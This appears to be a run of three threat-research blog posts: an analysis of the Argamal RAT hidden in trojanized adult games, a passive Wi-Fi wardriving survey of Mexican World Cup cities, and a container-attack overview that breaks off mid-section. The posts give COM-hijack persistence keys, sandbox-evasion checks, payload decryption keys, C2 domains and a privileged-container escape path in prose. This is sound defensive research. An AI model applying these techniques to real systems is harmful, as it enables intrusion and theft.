In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.
The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.
Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.
Technical details
Background
In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.
The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.
Adult games catalogue
In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.
Malicious game torrent in AniRena
Delivery
Both the dedicated websites and torrents delivered an archive containing the infected game.
Contents of the game archive
This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.
Script executor
The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.
The natives2_blob.bin file code
This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.
Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.
Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.
The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.
Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.
Malicious agent
Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.
The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:
The payload checks for the presence of the following security solutions using the output of the tasklist command:
Kaspersky
Avast
McAfee
BitDefender
MalwareBytes
+36 other solutions
Security solution detection logic
The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.
The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.
The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.
Response first byte
Description
0x31
Run DLL on the system
0x57
Send UDP request to the specified address
0x55
Open file or link from the response
0x50
Collect information about the infected system (e.g. process list and architecture)
0x53
Execute command from the response using ShellExecuteW
0x52
Run the file specified in the response using WinExec
0x42
Delete the file specified in the response
0x41
Update C2 domain
0x59
Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry
The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.
TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:
In other words, each character in the ASCII set is replaced by the corresponding character in the key string.
C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.
Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:
System control
KILL REBOOT: Reboots the infected system
KILL POWER: Shuts down the infected system
KILL SELF: Same as the QUIT command (described below)
KILL ME: Exits process running the malware
Surveillance
SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2
RUNTASK <command>: creates, runs and deletes task that executes specified command
SKEY <key code>: presses specified key
MOUSE FREEZE: freezes mouse movement
MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates
Other delivery methods
During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.
In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.
Infrastructure
Our research revealed the following infrastructure was used in this attack.
Domain
IP
First seen
ASN
asper1[.]freeddns[.]org
181[.]116.218.56
September 16, 2024
11664
186[.]158.223.35
July 01, 2025
11664
country1[.]ignorelist[.]com
186[.]158.223.35
September 10, 2025
11664
127[.]0.0.1
November 11, 2025
–
Winst0.kozow[.]com
186[.]158.223.35
April 26, 2026
11664
Victims
According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.
Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.
The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:
Part of the PowerShell script used in the payload delivery
In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:
JavaScript code from the malicious site
Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.
Conclusions
The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.
Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.
Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.
To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.
The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.
During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.
Research scope
The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.
We chose the following analysis areas for each of the cities:
Mexico City: México City Stadium, Mexico City International Airport, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco, and Coyoacán.
Guadalajara: Guadalajara Stadium, Guadalajara International Airport, the city center, Zapopan, Providencia, Avenida Chapultepec, Colonia Americana, Tlaquepaque, and the area around Andares.
Monterrey: Monterrey Stadium, Monterrey International Airport, Fundidora Park, Cintermex Monterrey, the downtown area, Barrio Antiguo, MacroPlaza, and the San Pedro financial district.
The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:
SSID analysis and information exposure, including BSSID-derived SSIDs
Default router configurations and ISP deployments
Frequency and signal characteristics
Channel congestion and spectrum usage
Wireless security configurations, including:
Open and insecure wireless networks
WPS-enabled networks
Secure networks (WPA2/WPA3) with WPS enabled
We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.
In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.
Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.
The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.
Our findings
SSID analysis and information exposure
SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.
Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.
SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.
Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.
Distribution of SSID naming conventions (download)
Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.
Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.
We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.
The following graph shows the top five sequential SSID patterns found in the largest number of networks:
Five most frequently observed sequential patterns (download)
Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.
BSSID-derived SSID
During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.
The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.
Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.
Default router configurations and ISP deployments
We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.
Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.
The following figure shows the distribution of the most commonly used manufacturers.
Most frequently observed wireless equipment manufacturers (download)
The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.
Most frequently observed wireless equipment manufacturers across the three cities (download)
ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.
It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.
The following figure illustrates the distribution of ISP-associated wireless deployments in general.
To better understand this distribution, we took the most frequently observed ISPs by city.
Most frequently observed ISPs across the three cities (download)
Frequency and signal characteristics
We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.
Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.
Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.
These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.
Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.
These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.
Channel congestion and spectrum usage
Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.
Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.
The following figure illustrates the overall distribution of the most frequently utilized wireless channels.
To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.
Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.
These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.
A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.
In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.
This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.
Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.
Wireless security configurations
The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.
Overall security configuration distribution
The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.
The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.
Distribution of wireless authentication mechanisms across the three locations (download)
To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:
Secure (WPA2/WPA3)
Insecure (Open/WEP)
Weak (WPA)
Unknown
Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.
Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.
Wireless security posture grouping across the three locations (download)
Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.
WPS-enabled networks
We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.
By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.
During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.
The percentage of detected access points advertising WPS capabilities across the three locations (download)
Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.
Secure networks with WPS enabled
In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.
To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:
Mexico City: 53.7%
Guadalajara: 50.9%
Monterrey: 47.5%
The proportion of secure networks with WPS enabled across the three locations (download)
These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.
Additional security considerations
Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.
Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.
Conclusion
The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.
Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.
The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.
SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.
The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.
Recommendations
To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:
Disable WPS functionality on wireless routers whenever possible, particularly within WPA2/WPA3 deployments.
Avoid using default SSID naming conventions that disclose ISP providers, router manufacturers, or deployment templates.
Refrain from using personal, organizational, or location-based identifiers in wireless network names.
Avoid configuring SSID using BSSID or naming conventions derived from MAC addresses, as these may expose hardware fingerprinting information.
Promote migration toward modern WPA3-capable infrastructure while removing legacy wireless protocols when operationally feasible.
Reduce wireless congestion by optimizing channel allocation strategies and minimizing excessive dependence on the 2.4 GHz spectrum.
Encourage adoption of 5 GHz and newer wireless technologies to reduce interference and improve spectrum efficiency.
The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
Principles of containerization
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
Current attack vectors
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Exploiting vulnerabilities in the host system and container runtime components
Malicious activity inside a compromised container
Container escape followed by host compromise
Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
Supply chain attacks, including container image poisoning and CI/CD pipeline compromise
Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Exploiting host system vulnerabilities
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.
Malicious actions inside the container
Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
User and service credentials
API keys
Access tokens
SSH keys
Environment variables containing secrets
Kubernetes ServiceAccount tokens
Configuration files
Application service data or databases
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
Privileged containers
One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN
